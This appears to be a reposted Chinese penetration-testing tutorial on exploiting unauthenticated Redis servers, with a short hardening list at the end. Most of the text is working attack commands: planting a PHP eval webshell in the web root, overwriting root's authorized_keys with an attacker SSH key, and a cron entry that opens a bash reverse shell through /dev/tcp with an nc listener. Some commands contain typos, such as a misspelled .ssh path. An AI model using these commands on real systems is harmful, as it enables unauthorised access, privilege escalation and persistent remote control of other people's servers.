渗透测试技巧之Redis漏洞利用总结
1.未授權訪問
2.獲取webshell
3.獲取root
4.通過redis提權
5.其他的一些利用
6.redis安全配置
測試環境? CentOS 6.5 x64
Redis介紹
? Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集合)、zset(sorted set - 有序集合)和hash(哈希類型).
這些數據類型都支持push/pop、add/remove及取交集并集和差集更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,為了保證效率,數據都是緩存在內存中。
區別的是redis會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎上實現了master-slave(主從)同步。
未授權訪問
Redis默認情況下,會綁定在0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源ip訪問等,這樣會將Redis服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。
攻擊者在未授權訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的/root/.ssh文件夾的authoritrized_keys文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。
默認安裝redis,其中啟動權限就為root。并且是任意ip可以未授權訪問。
獲取webshell
條件:知道web絕對路徑,redis運行的用戶需要對web目錄要有寫的權限
http://10.211.55.10/phpinfo.php
然后通過客戶端鏈接
redis-cli -h 10.211.55.10
config set dir /var/www/html/ set shell <?php eval($_REQUEST[\'syclover\'])?> config set dbfilename syclover.php save exit存在的問題,如果redis里面的數據量特別大并且前面存在<?php之類的符號
先通過randomkey來查看鍵值之間的規律,然后可以將數據庫備份下來,找到包含<?php的鍵名,通過keys *str*找到真正的鍵名,然后去修改這個鍵名。因為數據量很大所以備份的shell也很大,然后在生成shell的時候,可以設置不超時,并且在生成完成之后就退出。
獲取root
victim server CentOS6.6+redis2.4 192.168.192.133 attack server CentOS6.6 192.168.192.132先在attack server生成一個公鑰
ssh-keygen -t rsa -C "redis"
(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt
然后執行
redis-cli -h 192.168.192.133 flushall cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn登錄redis redis-cli -h 192.168.192.133
CONFIG set dir /root/.shh/ config set dbfilename "authorized_keys" save exit然后就可以使用ssh的私鑰登錄了
ssh -i redis.pub root@192.168.192.133缺點:flushall太暴力直接清空數據庫,覆蓋authorized_keys,導致原有的認證失效。
通過redis提權
獲取了一個webshell,但是權限很低,發現存在redis服務但是只能本地訪問,然后通過上面的方法可以成功提權。
其他玩法
redis+crontab
redis-cli config set dir /var/spool/cron/ redis-cli config set dbfilename root echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8443 0>&1 \n\n"|redis-cli -x set 1 redis-cli save nc -lvv 8443redis安全配置
1.設置只對本機開機bind 127.0.0.1
2.設置密碼requirepass tomato
3.修改默認端口12345
4.低權限啟動
5.如果需要對外提供服務的話,設置iptables規則
?
exploit-db上關于Redis的漏洞
總結
以上是生活随笔為你收集整理的渗透测试技巧之Redis漏洞利用总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Github中Tag的使用
- 下一篇: linux cmake编译源码,linu